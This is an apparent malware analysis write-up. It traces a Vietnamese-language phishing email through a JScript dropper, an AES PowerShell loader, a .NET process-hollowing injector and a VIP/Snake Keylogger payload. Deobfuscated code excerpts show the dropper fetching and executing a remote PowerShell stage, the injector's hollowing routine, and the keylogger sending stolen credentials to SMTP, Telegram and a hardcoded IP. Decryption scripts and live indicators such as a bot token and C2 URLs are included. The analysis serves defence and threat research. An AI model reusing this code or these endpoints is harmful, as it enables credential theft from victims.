YÊU CẦU BÁO GIÁ DỰ ÁN
On April 14 2026, 17:16 UTC, I received an email with the following details:
| From | Subject | Sender address | Sender IP |
|---|---|---|---|
| Mr. Phan Hoang Tien <it@seatoursthai.com> | YÊU CẦU BÁO GIÁ DỰ ÁN | it@seatoursthai.com | 103.246.189.75 |
The subject is in Vietnamese and translates to “PROJECT QUOTATION REQUEST”. The sender domain belongs to the “SEA TOURS Thailand” travel agency and the SPF, DMARC, and DKIM authentication checks all passed. The sender IP also matches the A record of the domain which was registered 28 years ago. This is consistent with compromise of the sender address or abuse of the associated mail infrastructure.
It’s worth noting that the “Reply-To” header is set to the address “Mr. Phan Hoang Tien <sales@manasvihitech.com>”. This domain belongs to “Manasvi Hi Tech Industries”, a tungsten carbide parts supplier based in India. Additionally, the email signature references the email “info@thangtien.vn” and the associated website, which belongs to “Thang Tien Engineering JSC”, a construction contractor based in Vietnam.
The email contains the following attachment:
| Name | Type | Magic | SHA256 |
|---|---|---|---|
| 260917-Quotation.rar | RAR | RAR archive data, v5 | 6389acfbd4cd9603caa87d88b1bc0dbe |
Analysis
JScript Dropper
Extracting the archive yields the file “260917-Quotation.js”, which is obfuscated via “Obfuscator.io” and I deobfuscated (twice) using webcrack.
The code is wrapped in an IIFE (Immediately Invoked Function Expression) block that
begins with a 'use strict' instruction to invoke strict mode. However, this has
no effect in JScript so it may have been generated by a transpiler or bundler.
Next, the following variables are defined, which set the dropper configuration and initialise the COM objects necessary for filesystem, shell, and HTTP operations:
var _0x3a96d5 = {
address: "https://aksiyononline.best/mrmasabikfrnd/secured_stub.ps1"
};
_0x3a96d5.directory = "C:\\Temp\\";
_0x3a96d5.maxAttempts = 2;
var _0x3efe00 = _0x3a96d5;
var _0x3f7f65 = new ActiveXObject("Scripting.FileSystemObject");
var _0x37a4fc = new ActiveXObject("WScript.Shell");
var _0x44bfe3 = new ActiveXObject("MSXML2.XMLHTTP");
Additionally, the following helper functions are defined:
_0x2683e7: Creates a folder if it doesn’t exist._0x1b1ee2: Generates a pseudorandom filename with extension “.ps1”._0x30c377: Creates a text file and writes content to it._0x5f0031: Sends a “GET” request to a URL and returns the response text._0x4f3880: Calls_0x1b1ee2and_0x30c377and executes the created file through PowerShell.
The orchestrator function _0x5d0baa wraps the aforementioned functions and calls them in order.
- It ensures that the configured
directoryexists. - It fetches the payload from the
addresswith up tomaxAttempts + 1retries. - It writes the payload to a file created under the
directoryand executes it.
Finally, the object _0x4833fe contains the entry point and configuration-related functions.
runis a direct reference to the orchestrator and is invoked below.configis a proxy for the configuration object_0x3efe00.resetrestores the configuration object to the original hardcoded values.
Although only the run function is called directly in this case, the
ScriptAPI property is set to the aforementioned object and exposes it to the
global namespace, so this module could be used as a component in another script.
var _0x4833fe = {
run: _0x5d0baa,
config: function (_0x4a4f3d, _0x150885) {
if (_0x150885 !== undefined) {
_0x3efe00[_0x4a4f3d] = _0x150885;
return this;
}
return _0x3efe00[_0x4a4f3d];
},
reset: function () {
var _0x26b02f = {
address: "https://aksiyononline.best/mrmasabikfrnd/secured_stub.ps1",
directory: "C:\\Temp\\",
maxAttempts: 2
};
_0x3efe00 = _0x26b02f;
return this;
}
};
_0x4833fe.run();
this.ScriptAPI = _0x4833fe;
PowerShell Loader
The downloaded payload implements a self-styled “PowerShell Modular AES Pipeline Loader”.
It defines a $ResourceMap variable which contains a base64-encoded payload, key, and vector.
#==================================================
# PowerShell Modular AES Pipeline Loader
#==================================================
# --- Embedded cryptographic resources ---
$ResourceMap = [ordered]@{
'Payload' = @'
...
'@
'Key' = @'
EZ6RFmXccZqxF/DphiW/nNhidfeShBqyR3P20eNy1HI=
'@
'Vector' = @'
RB4SQyTrEChfY6DVNEfShA==
'@
}
Next, it defines the following pipeline stage helper functions:
Step-Sanitize: Strips all whitespace from the input.Step-Decode: Ensures a base64-encoded payload is properly padded and decodes it.Step-Decrypt: Decrypts a ciphertext using AES in CBC mode with PKCS7 padding.Step-Invoke: Creates aScriptBlockobject from the payload and invokes it.
While I omitted the other helper functions for brevity, I’m including the code of
Step-Invoke since it’s a rare deviation from the usual Invoke-Expression pattern.
# --- Pipeline stage: invoke ---
function Step-Invoke {
[CmdletBinding()]
param([string]$Code)
if ([string]::IsNullOrWhiteSpace($Code)) { return $false }
$block = [ScriptBlock]::Create($Code)
$null = & $block
return $true
}
Next, the script sanitises and decodes the base64-encoded data in the $ResourceMap,
decrypts the ciphertext, and invokes the decrypted payload, while logging any errors.
# --- Orchestrator ---
$result = [ordered]@{
Sanitized = $null
Decoded = $null
Plaintext = $null
Executed = $false
Errors = @()
}
foreach ($name in $ResourceMap.Keys) {
$stage = 'Sanitize'
try {
$clean = Step-Sanitize -Raw $ResourceMap[$name]
if (-not $clean) { throw "Empty resource: $name" }
$stage = 'Decode'
$bytes = Step-Decode -Compact $clean
if (-not $bytes) { throw "Decode failed: $name" }
$result[$name] = $bytes
}
catch {
$result.Errors += "[$stage/$name] $($_.Exception.Message)"
}
}
if ($result.Errors.Count -eq 0) {
try {
$result.Plaintext = Step-Decrypt -Cipher $result['Payload'] -Key $result['Key'] -Vector $result['Vector']
$result.Executed = Step-Invoke -Code $result.Plaintext
}
catch {
$result.Errors += "[Decrypt/Invoke] $($_.Exception.Message)"
}
}
Finally, it explicitly clears the $ResourceMap and forces garbage collection to remove
its data from memory. However, this seems to be purely cosmetic as it does not clear the
plaintext and the process is already about to exit, which would clear the memory anyway.
Additionally, if any errors were encountered, the script writes the error messages
to the console (if verbose logging is enabled) and exits the process with status 1.
# --- Teardown ---
$ResourceMap.Clear()
[System.GC]::Collect()
[System.GC]::WaitForPendingFinalizers()
if ($result.Errors.Count -gt 0) {
foreach ($e in $result.Errors) { Write-Verbose $e }
exit 1
}
Embedded Payload
The decoding and decryption process can be performed using the following CyberChef recipe:
Register('\'Key\'\\s+= @\'\\r\\n([A-Za-z0-9+/=]+)\\r\\n\'@',false,false,false)
Register('\'Vector\'\\s+= @\'\\r\\n([A-Za-z0-9+/=]+)\\r\\n\'@',false,false,false)
Regular_expression('User defined','\'Payload\'\\s+= @\'\\r\\n([A-Za-z0-9+/=\\r\\n]+)\\r\\n\'@',false,false,false,false,false,false,'List capture groups')
From_Base64('A-Za-z0-9+/=',false,false)
AES_Decrypt({'option':'Base64','string':'$R0'},{'option':'Base64','string':'$R1'},16,'CBC','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''},'Off')
The decrypted payload defines the following functions with associated comments:
| Function | Comment |
|---|---|
Reveal-CloakedData | XOR Decryption Function - Alternative Implementation v19 |
Deploy-AssemblyPayload | Assembly Invocation Handler - Alternative Implementation v19 |
Sense-ProcessVoid | Process Existence Check - Alternative Implementation v19 |
Operate-Beacon | Main Orchestrator Controller - Alternative Implementation v19 |
It’s worth noting that all of the functions are marked as “Alternative Implementation v19”.
The orchestrator function defines the XOR encryption key with the value “THeDevil56@@^”, decodes and decrypts a .NET assembly and invokes the “LAUNCH” function of the “GHOST.EXECUTE” type, passing it (as usual) the path of the “aspnet_compiler” executable and a byte array containing the next-stage payload.
# Vault secret
$vaultSecret = "THeDevil56@@^"
# Cast into payload image
$payloadImage = [System.Convert]::FromBase64String($revealedData)
# Anchor host executable
$hostExecutable = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe'
# Bundle deployment args
$deploymentArgs = @($hostExecutable, $payloadBytes)
# Deploy assembly
$deployOutcome = Deploy-AssemblyPayload -PayloadImage $payloadImage `
-TypeLocator 'GHOST.EXECUTE' `
-EntrySelector 'LAUNCH' `
-DeploymentArgs $deploymentArgs
# Hold payload
[Byte[]]$payloadBytes = (<# ... #>)
.NET Process Injector
The assembly bytes can be decoded and decrypted with the following recipe:
Register('\\$vaultSecret = "(.+)"',false,false,false)
Regular_expression('User defined','\\$cloakedData = \'([A-Za-z0-9+/=]+)\'',false,false,false,false,false,false,'List capture groups')
From_Base64('A-Za-z0-9+/=',false,false)
XOR({'option':'UTF8','string':'$R0'},'Standard',false)
From_Base64('A-Za-z0-9+/=',false,false)
The result is a 32-bit .NET DLL with the following metadata:
- File Description: GHOSTT
- File Version: 1.0.0.0
- Internal Name: GHOSTT.dll
- Legal Copyright: Copyright © 2026
- Original File Name: GHOSTT.dll
- Product Name: GHOSTT
- Product Version: 1.0.0.0
- Assembly Version: 1.0.0.0
According to Detect-It-Easy, the assembly is obfuscated by “Confuser” so I used de4dotEx to deobfuscate it before decompiling it with ILSpy.
The aforementioned “LAUNCH” function takes the targetPath (the “aspnet_compiler” path)
and shellcode (the injected payload) and performs a classic process hollowing routine.
public static void LAUNCH(string targetPath, byte[] shellcode) {
for (int i = 0; i < 5; i++) {
Struct7 struct7_ = default(Struct7);
Struct6 struct6_ = default(Struct6);
struct7_.uint_0 = (uint)smethod_12(smethod_11(typeof(Struct7).TypeHandle));
try {
smethod_8(targetPath, shellcode, ref struct7_, ref struct6_);
break;
} catch {
if (struct6_.uint_0 != 0) {
try {
smethod_14(smethod_13((int)struct6_.uint_0));
} catch { }
}
if (i == 4) { throw; }
}
}
}
The relevant strings are not hardcoded but are instead decrypted at runtime using module-level functions.
String Decryption
The module constructor initialises an array of 80 unsigned 32-bit integers and generates a 16-element
state array using a sequence of XOR and bit-shift operations, starting from the seed “2990788445”.
It then processes each block of 16 integers from the first array, XORs each value with the corresponding
state element, converts the resulting integers into 4 little-endian bytes each, and updates the state
by XORing it with the resulting values, so each block after the first is decrypted with the previous
encrypted block. Finally, it passes the buffer to smethod_1 and stores the final result in byte_0.
static <Module>() {
smethod_7();
uint num = 80u;
uint[] array = new uint[80] { /* ... */ };
uint[] array2 = new uint[16];
uint num2 = 2990788445u;
for (int i = 0; i < 16; i++) {
num2 ^= num2 >> 12;
num2 ^= num2 << 25;
num2 ^= num2 >> 27;
array2[i] = num2;
}
int j = 0;
int num3 = 0;
uint[] array3 = new uint[16];
byte[] array4 = new byte[num * 4];
for (; j < num; j += 16) {
for (int k = 0; k < 16; k++) {
array3[k] = array[j + k];
}
array3[0] = array3[0] ^ array2[0];
// ...
array3[15] = array3[15] ^ array2[15];
for (int l = 0; l < 16; l++)
{
uint num4 = array3[l];
array4[num3++] = (byte)num4;
array4[num3++] = (byte)(num4 >> 8);
array4[num3++] = (byte)(num4 >> 16);
array4[num3++] = (byte)(num4 >> 24);
array2[l] ^= num4;
}
}
byte_0 = smethod_1(array4);
MethodInfo method = typeof(Environment).GetMethod(smethod_3<string>(1695003968), new Type[1] { typeof(string) });
if ((object)method != null && smethod_6<string>(-735860845).Equals(method.Invoke(null, new object[1] { smethod_6<string>(-1115443939) })))
{
Environment.FailFast(null);
}
Thread thread = new Thread(smethod_0);
thread.IsBackground = true;
thread.Start(null);
}
import numpy as np
def xorshift(array, key, shifts):
temp = np.empty(16, "<u4")
for i in range(16):
key ^= key >> shifts[0]
key ^= key << shifts[1]
key ^= key >> shifts[2]
temp[i] = key
out = array ^ np.concatenate([temp, array[:-16]])
return out.tobytes()
module_array = np.array([ ... ], "<u4")
module_data = xorshift(module_array, np.uint32(2990788445), np.array([12, 25, 27], "<u4"))
The resulting buffer begins with the byte sequence 5d 00 00 80 00 which corresponds to
LZMA-compressed data1. However, attempting to decompress the data as is results in an error.
This is because the LZMA format defines 8 bytes at offset 5 as the size of the uncompressed
data2, while the custom decompression implemented by smethod_1 only uses 4 bytes.
internal static byte[] smethod_1(byte[] data) {
MemoryStream memoryStream = new MemoryStream(data);
Class1 @class = new Class1();
byte[] array = new byte[5];
for (int i = 0; i < 5; i += memoryStream.Read(array, i, 5 - i)) { }
@class.method_5(array);
for (int i = 0; i < 4; i += memoryStream.Read(array, i, 4 - i)) { }
if (!BitConverter.IsLittleEndian) {
Array.Reverse((Array)array, 0, 4);
}
int num = BitConverter.ToInt32(array, 0);
byte[] array2 = new byte[num];
MemoryStream outStream = new MemoryStream(array2, writable: true);
long inSize = memoryStream.Length - 5L - 4L;
@class.method_4(memoryStream, outStream, inSize, num);
return array2;
}
Adding a padding of 4 null bytes at offset 5 fixes this discrepancy.
from lzma import LZMADecompressor
def decompress(data):
return LZMADecompressor().decompress(data[:9] + bytes(4) + data[9:])
module_data = decompress(module_data)
The functions smethod_2 up to smethod_6 read strings from the byte_0 array at certain offsets.
They are generic functions with a type parameter and branching based on the 2 most significant bits
of the transformed integer. However, they are only ever called with a string type and the bits always
match the corresponding string decoding case. Each function multiplies the provided integer with a certain
hardcoded value and XORs it with another value, before applying the bitmask 0x3FFFFFFF to drop the 2 most
significant bits used for branching, and left-shifting by 2 to turn the 30-bit index into a byte offset.
internal static T smethod_3<T>(int id) {
if (!Assembly.GetExecutingAssembly().Equals(Assembly.GetCallingAssembly())) {
return default(T);
}
id = (id * -763577725) ^ -677232704;
int num = (int)((uint)id >> 30);
id = (id & 0x3FFFFFFF) << 2;
switch (num) {
case 1: {
int count = byte_0[id] | (byte_0[id + 1] << 8) | (byte_0[id + 2] << 16) | (byte_0[id + 3] << 24);
return (T)(object)string.Intern(Encoding.UTF8.GetString(byte_0, id + 4, count));
}
// ...
}
}
The following Python code resolves all encrypted string values, listed in the table below:
def read_string(mul, xor, num):
num = (((num * mul) ^ xor) & 0x3FFFFFFF) << 2
size = int.from_bytes(module_data[num:num + 4], "little")
return module_data[num + 4:num + 4 + size].decode()
for num in [-1713440337, -2090634986, -433745414, -949786259, 52216272]:
print("smethod_2", f"{num:>11}", read_string(-42537643, -1915098506, num))
for num in [-116996593, -1311105113, -14647844, -2035145440, 1069512863, 1073312400, 1695003968]:
print("smethod_3", f"{num:>11}", read_string(-763577725, -677232704, num))
for num in [-1065018019, -1487339837, -1849355871, -548423081, 1529309338, 2140177396, 431999234, 447075680, 511195908]:
print("smethod_4", f"{num:>11}", read_string(-695608005, 2110524768, num))
for num in [-1813298905, 1355499157]:
print("smethod_5", f"{num:>11}", read_string(1898802157, -270426506, num))
for num in [-1115443939, -1194773832, -1656426911, -655160906, -735860845, -78317904, -834490799, 561295022, 922948101]:
print("smethod_6", f"{num:>11}", read_string(2040409101, -1906915728, num))
| Function | Integer ID | String Value |
|---|---|---|
| smethod_2 | -1713440337 | kernel32 |
| smethod_2 | -2090634986 | Failed to allocate memory |
| smethod_2 | -433745414 | Wow64SetThreadContext |
| smethod_2 | -949786259 | Failed to write section |
| smethod_2 | 52216272 | Failed to resume thread |
| smethod_3 | -116996593 | kernel32 |
| smethod_3 | -1311105123 | ReadProcessMemory |
| smethod_3 | -14647844 | Failed to set thread context |
| smethod_3 | -2035145440 | ZwUnmapViewOfSection |
| smethod_3 | 1069512863 | ntdll |
| smethod_3 | 1073312400 | ResumeThread |
| smethod_3 | 1695003968 | GetEnvironmentVariable |
| smethod_4 | -1065018019 | Failed to create process |
| smethod_4 | -1487339837 | WriteProcessMemory |
| smethod_4 | -1849355871 | SetThreadContext |
| smethod_4 | -548423081 | kernel32 |
| smethod_4 | 1529309338 | Failed to get wow64 thread context |
| smethod_4 | 2140177396 | Failed to set wow64 thread context |
| smethod_4 | 431999234 | Failed to get thread context |
| smethod_4 | 447075680 | Failed to write headers |
| smethod_4 | 511195908 | VirtualAllocEx |
| smethod_5 | -1813298905 | kernel32 |
| smethod_5 | 1355499157 | GetThreadContext |
| smethod_6 | -1115443939 | COR_ENABLE_PROFILING |
| smethod_6 | -1294773832 | Failed to read process memory |
| smethod_6 | -1656426911 | ntdll |
| smethod_6 | -655160906 | Failed to update PEB |
| smethod_6 | -735860845 | 1 |
| smethod_6 | -78317904 | Wow64GetThreadContext |
| smethod_6 | -834490799 | kernel32 |
| smethod_6 | 561295022 | CreateProcessA |
| smethod_6 | 922948101 | Failed to unmap section |
Decrypting the strings reveals that the module constructor invokes the “GetEnvironmentVariable”
function (ID 1695003968) to check if the “COR_ENABLE_PROFILING” environment variable (ID -1115443939)
is set to the value “1” (ID -735860845) which indicates a profiling environment3 and exits the program
if so. The smethod_0 function which is called in a new thread also exits if it detects a debugger.
The smethod_7 function that is called at the top of the module
constructor contains a similarly encrypted and compressed array.
internal static void smethod_7() {
uint num = 112u;
uint[] array = new uint[112] { /* ... */ };
uint[] array2 = new uint[16];
uint num2 = 1105494774u;
for (int i = 0; i < 16; i++) {
num2 ^= num2 >> 13;
num2 ^= num2 << 25;
num2 ^= num2 >> 27;
array2[i] = num2;
}
// ...
assembly_0 = Assembly.Load(smethod_1(array4));
AppDomain.CurrentDomain.AssemblyResolve += smethod_8;
}
smethod_7_array = np.array([ ... ], "<u4")
smethod_7_data = xorshift(smethod_7_array, np.uint32(1105494774), np.array([13, 25, 27], "<u4"))
smethod_7_data = decompress(smethod_7_data)
The resulting payload is a .NET DLL with assembly name “XVvcwLfHxmqfEaBliQfXcVpSgLMab” and SHA256 hash
“2b9a41065a0c1f4043a08d2354863722e400e4ef504f5eb2c6ac430ea3ff442d”. The function loads it and
registers an AssemblyResolve handler4 that returns it when the CLR asks for its full name.
However, this particular DLL does not declare any types and is never referenced.
internal static Assembly smethod_8(object sender, ResolveEventArgs args) {
if (!(assembly_0.FullName == args.Name)) {
return null;
}
return assembly_0;
}
VIP Keylogger
Finally, I extracted the injected payload using the following CyberChef recipe:
Regular_expression('User defined','\\$payloadBytes = \\(([0-9,]+)\\)',false,false,false,false,false,false,'List capture groups')
From_Decimal('Comma',false)
This results in a 32-bit .NET executable with the following metadata:
- File Description: Remington
- File Version: 1.0.0.0
- Internal Name: Remington.exe
- Legal Copyright: Copyright © 2021
- Original File Name: Remington.exe
- Product Name: Remington
- Product Version: 1.0.0.0
- Assembly Version: 1.0.0.0
The strings contain multiple instances of “VIP Recovery” indicating that the sample belongs to the Snake Keylogger / VIP Keylogger family.
The “Remington.COVID19” class holds the malware configuration and the entry point function “Main”. The malware supports multiple data exfiltration methods (SMTP, FTP, HTTP, Telegram bot, and Discord webhook) and this sample uses both SMTP and Telegram.
The “multi” configuration property contains 3 dynamic DNS URLs with port “8081” which may be default HTTP exfiltration endpoints, although it is not referenced elsewhere in the code.
multi = "http://varders.kozow.com:8081,http://aborters.duckdns.org:8081,http://anotherarmy.dns.army:8081";
The “hyugtfredse” property is set to the value “$$HASH##” (likely a placeholder) which is used as a request parameter.
hyugtfredse = "$$HASH##";
The “TheInfo” property stores extended system information including a stub version set to “4.4”. Similarly, the “ClickINFO” property stores basic system information.
TheInfo = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(" \r\n\r\nPC Name:" + Environment.MachineName, Operators.AddObject("\r\nDate and Time: ", TimeandDateInfo())), Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject("\r\nClient IP: ", IPLogger()), "\r\n"), "Country Name: "), TheCountryNameInfo()), "\r\n"), "CountryCode: "), CountryCode()), "\r\n"), "Region Name: "), TheRegionName()), "\r\n"), "Region Code: "), TheRegionCode()), "\r\n"), "City: "), TheCity()), "\r\n"), "TimeZone: "), TheTimeZone()), "\r\n"), "Latitude: "), TheLatude()), "\r\n"), "Longitude: "), TheLongtude()), "\r\n"), "Stub Version: "), "4.4"), "\r\n")));
ClickINFO = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(" \r\n\r\nPC Name:" + Environment.MachineName, Operators.AddObject("\r\nDate and Time: ", TimeandDateInfo())), Operators.AddObject(Operators.AddObject("\r\nCountry Name: ", TheCountryNameInfo()), "\r\n")));
The “PASSWORD” property is set to “ZyiAEnXWZP” followed by a pseudorandom integer and is added to filenames in the FTP method.
PASSWORD = "ZyiAEnXWZP" + new Random().Next();
The “Prision” property contains a key which is transformed and used to decrypt
the exfiltration endpoint configuration using the DES_Decrypt function.
Prision = "BsrOkyiChvpfhAkipZAxnnChkMGkLnAiZhGMyrnJfULiDGkfTkrTELinhfkLkJrkDExMvkEUCxUkUGr";
// ...
TheSMTPEmail = DES_Decrypt("VlHksKXE65FZmGmZ3YvUa/LySTX/VLn1loERoRF3ES4=", Prision);
TheSMTPPSWD = DES_Decrypt(/* ... */, Prision);
TheSMTPServer = DES_Decrypt("AvnrwjLkkRgZGkQUmJR7Q6c1rIrsJxc5w7xUzGwhmFg=", Prision);
TheSMTPReciver = DES_Decrypt("nCs4V4r10kVlDRf6bmOnwqqk/0KACKSQLq6u+CjKY44=", Prision);
TheSMTPPort = DES_Decrypt("oXrxxBiV5W8=", Prision);
// ...
TheTelegramToken = DES_Decrypt("QnoGQYwDXgpH8ie5IZnJz16B92dHDXTkSXWuiQpaPabEB/i2gCo+1qfK2l/lj54S", Prision);
TheTelegramID = DES_Decrypt("gtU5zul6Snk4aWIJHkSiXQ==", Prision);
TheTelegramTokenToClicker = DES_Decrypt("Yx74dJ0TP3M=", Prision);
TheTelegramIDToClicker = DES_Decrypt("Yx74dJ0TP3M=", Prision);
The decryption uses DES in ECB mode with the first 8 characters of the MD5 hash of “Prision” as the key.
public static string DES_Decrypt(string input, string pass) {
string result = default(string);
try {
DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
string text = "";
byte[] array = new byte[8];
byte[] sourceArray = mD5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(pass));
Array.Copy(sourceArray, 0, array, 0, 8);
dESCryptoServiceProvider.Key = array;
dESCryptoServiceProvider.Mode = CipherMode.ECB;
ICryptoTransform cryptoTransform = dESCryptoServiceProvider.CreateDecryptor();
byte[] array2 = Convert.FromBase64String(input);
text = Encoding.ASCII.GetString(cryptoTransform.TransformFinalBlock(array2, 0, array2.Length));
result = text;
return result;
} catch (Exception ex) {
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.ClearProjectError();
}
return result;
}
The following Python code can be used to decrypt the configuration:
from base64 import b64decode
from hashlib import md5
from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad
def DES_Decrypt(input_, pass_):
key = md5(pass_).digest()[:8]
cipher = DES.new(key, DES.MODE_ECB)
decrypted = cipher.decrypt(b64decode(input_))
return unpad(decrypted, DES.block_size).decode()
Prision = b"BsrOkyiChvpfhAkipZAxnnChkMGkLnAiZhGMyrnJfULiDGkfTkrTELinhfkLkJrkDExMvkEUCxUkUGr"
config = {
"TheSMTPEmail": DES_Decrypt("VlHksKXE65FZmGmZ3YvUa/LySTX/VLn1loERoRF3ES4=", Prision),
"TheSMTPPSWD": DES_Decrypt(..., Prision),
"TheSMTPServer": DES_Decrypt("AvnrwjLkkRgZGkQUmJR7Q6c1rIrsJxc5w7xUzGwhmFg=", Prision),
"TheSMTPReciver": DES_Decrypt("nCs4V4r10kVlDRf6bmOnwqqk/0KACKSQLq6u+CjKY44=", Prision),
"TheSMTPPort": DES_Decrypt("oXrxxBiV5W8=", Prision),
"TheTelegramToken": DES_Decrypt("QnoGQYwDXgpH8ie5IZnJz16B92dHDXTkSXWuiQpaPabEB/i2gCo+1qfK2l/lj54S", Prision),
"TheTelegramID": DES_Decrypt("gtU5zul6Snk4aWIJHkSiXQ==", Prision),
"TheTelegramTokenToClicker": DES_Decrypt("Yx74dJ0TP3M=", Prision),
"TheTelegramIDToClicker": DES_Decrypt("Yx74dJ0TP3M=", Prision),
}
for key, val in config.items():
print(key, val, sep=": ")
- The email address “reports9@leedelectronics.top” is both the sender and recipient.
- The Telegram configuration has been identified by Symantec in a previous Snake Keylogger campaign5.
- The properties “TheTelegramTokenToClicker” and “TheTelegramTokenToClicker” have empty values.
| Property | Value |
|---|---|
TheSMTPEmail | reports9@leedelectronics.top |
TheSMTPPSWD | omitted |
TheSMTPServer | hosting2.ro.hostsailor.com |
TheSMTPReciver | report9@leedelectronics.top |
TheSMTPPort | 587 |
TheTelegramToken | 8099843793:AAGeYKMLti1IpyT9o6bz7OtgdXF9md25uXA |
TheTelegramID | 6337180137 |
TheTelegramTokenToClicker | |
TheTelegramIDToClicker |
The main entry point begins by calling the ClickTracker function followed by multiple empty functions.
Then, it collects credentials, cookies, credit card details, autofill data, downloads information, and top sites
from multiple Chromium-based and Firefox-based browsers, as well as credentials from email clients (Outlook,
Thunderbird, Foxmail, and PostBox) and chat clients (Discord and Pidgin), and server configuration from FileZilla.
Finally, it calls the AntiBotStart function followed by NormalStart (which is empty) and starts the application.
public static void Main() {
ClickTracker();
// ...
AntiBotStart();
NormalStart();
Application.Run();
}
The ClickTracker function sends a message to Telegram informing the operator about the malware’s execution.
public static void ClickTracker() {
TelegramMSG(TheTelegramTokenToClicker, TheTelegramIDToClicker, ClickINFO + "[ " + Environment.MachineName + " Clicked on the File If you see nothing this's mean the system storage's empty. ]");
}
However, as the relevant properties have empty values, the constructed URL is invalid.
public static void TelegramMSG(string tokennns, string urrid, string msg) {
try {
string requestUriString = "https://api.telegram.org/bot" + tokennns + "/sendMessage?chat_id=" + urrid + "&text=" + msg;
// ...
} catch (Exception ex3) {
// ...
}
}
The AntiBotStart function checks whether the system information contains one of several IP
addresses or the name “WALKER” (used by the VirusTotal sandbox) and prevents further execution.
if (Operators.CompareString(AntiBotStatus, "EnabledAntiBot", TextCompare: false) == 0) {
if (TheInfo.Contains("89.208.29.130") | TheInfo.Contains("69.55.5.249") | TheInfo.Contains("141.226.236.91") | TheInfo.Contains("69.55.5.249") | TheInfo.Contains("3.23.155.57") | TheInfo.Contains("WALKER")) {
OutputAntiBot = "BotDetected";
} else {
OutputAntiBot = "$BotClean$";
}
} else {
OutputAntiBot = "$BotClean$";
}
The host’s IP address is requested from the “checkip.dyndns.org” domain with user agent “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)” and geolocation information is requested from “reallyfreegeoip.org” using this IP address.
public static object IPLogger() {
WebClient webClient = new WebClient();
webClient.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)");
string address = "http://checkip.dyndns.org/";
// ...
}
XmlDocument xmlDocument = new XmlDocument()
object obj = Operators.ConcatenateObject("https://reallyfreegeoip.org/xml/", IPLogger());
The SMTP method can exfiltrate the collected data either as the email body or as an attachment. The subject is the same in both cases and contains the username and “VIP Recovery”.
if (Operators.CompareString(isSMTP, "True", TextCompare: false) == 0) {
if (Operators.CompareString(Text_VenQJDFjPqkSr, "$CheckTextEnabled$", TextCompare: false) == 0) {
try {
// ...
MailMessage mailMessage = new MailMessage();
mailMessage.From = new MailAddress(TheSMTPEmail);
mailMessage.To.Add(TheSMTPReciver);
mailMessage.Subject = " Pc Name: " + Environment.UserName + " | / VIP Recovery \\";
// ...
} catch (Exception ex3) {
// ...
}
}
if (Operators.CompareString(File_VenQJDFjPqkSr, "$CheckFileEnabled$", TextCompare: false) == 0) {
// ...
}
}
The Telegram method has an additional condition that, instead of uploading the data to Telegram,
sends it in a POST request to the URL “http://51.38.247.67:8081/_send_.php?L”. It’s possible
that this endpoint then forwards the data to Telegram and is used to avoid the Telegram request
from being flagged or blocked. The condition is not met by this sample which simply uploads the
data to Telegram directly. Aside from the previously decrypted bot token and chat ID, the other
URL parts, as well as the mime type, are decrypted through the wrapper functions KC, KX, and KD.
if (Operators.CompareString(isTelegram, "True", TextCompare: false) == 0) {
string text = "PW | " + Environment.UserName + " | VIP Recovery\r\n" + TheInfo + "\r\n" + StoragePW + "\r\n\r\n\r\n\r\n\r\n--------------------------------------------------";
if (Operators.CompareString(Telegram_Side, "%Server%", TextCompare: false) == 0) {
// ...
string s = "c=" + hyugtfredse + "&myFile=" + text2;
WebRequest webRequest = WebRequest.Create("http://51.38.247.67:8081/_send_.php?L");
webRequest.Method = "POST";
// ...
} else {
try {
// ...
string url = string.Concat(KC("nnrCOnrJyiwsACMwnkEJB"), TheTelegramToken, KX("JyxTBTUpBksniyThhJvAC"), TheTelegramID, "&caption=", " Pc Name: " + Environment.UserName + " | / VIP Recovery \\\r\n\r\nPW | " + Environment.UserName + " | VIP Recovery\r\n\r\n\r\n");
ClpUploader("PW_Recovered" + LogFileExtension, KD("QEknLJAwBvLDvEBGMDiAZ"), url, text);
return;
} catch (Exception ex7) {
// ...
}
}
}
public static string KX(string @int) {
return DES_Decrypt("vXLTtNPZK+Dfb+Yg9FV+EW1xYmFoLa7V", @int);
}
public static string KC(string @int) {
return DES_Decrypt("zMaRPCbE0Gb4k/zB6ZNS3r1L34TENqMZD9RW6hkhoOE=", @int);
}
public static string KD(string @int) {
return DES_Decrypt("9uzQZ8M9esiGktQ2p1awgW2VefNvdHItyTIJRslztZk=", @int);
}
These can be decrypted in the same way as before.
wrappers = {
"KC": ["zMaRPCbE0Gb4k/zB6ZNS3r1L34TENqMZD9RW6hkhoOE=", b"nnrCOnrJyiwsACMwnkEJB"],
"KX": ["vXLTtNPZK+Dfb+Yg9FV+EW1xYmFoLa7V", b"JyxTBTUpBksniyThhJvAC"],
"KD": ["9uzQZ8M9esiGktQ2p1awgW2VefNvdHItyTIJRslztZk=", b"QEknLJAwBvLDvEBGMDiAZ"],
}
for key, vals in wrappers.items():
print(key, DES_Decrypt(*vals), sep=": ")
KC: https://api.telegram.org/botKX: /sendDocument?chat_id=KD: application/x-ms-dos-executable
It’s worth noting that the code also includes unused functions for collecting running processes, email contacts, and clipboard data, as well as keylogging and taking screenshots.
Indicators of Compromise
| Type | Value | Links | Comment |
|---|---|---|---|
| it@seatoursthai.com | N/A | Sender address | |
| reports9@leedelectronics.top | N/A | Exfiltration address | |
